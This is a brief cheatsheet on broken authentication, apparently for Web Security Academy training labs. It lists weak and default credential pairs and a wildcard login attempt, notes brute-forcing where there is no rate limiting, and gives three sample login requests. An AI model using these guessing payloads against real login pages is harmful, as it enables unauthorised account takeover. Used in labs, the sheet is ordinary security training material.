# Broken Authentication Cheatsheet

| Command / Payload | What it does | When to use |
|---|---|---|
| `carlos:password` | Common credential pair | Test for weak/default passwords |
| `carlos:123456` | Common weak password | Brute-force simple logins |
| `carlos:qwerty` | Keyboard pattern password | Try predictable passwords |
| `admin:admin` | Default admin credentials | Check default accounts |
| `username=*&password=*` | Wildcard attempt (basic bypass cases) | Test weak validation logic |
| Multiple login attempts | Repeated credential guessing | When no rate limiting is present |

```html
# Basic login request
POST /login HTTP/1.1
Host: <lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

username=carlos&password=123456
```

```html
# Repeated login attempts (no rate limiting)
POST /login HTTP/1.1
Host: <lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

username=carlos&password=password
```

```html
# Default credential test
POST /login HTTP/1.1
Host: <lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin
```
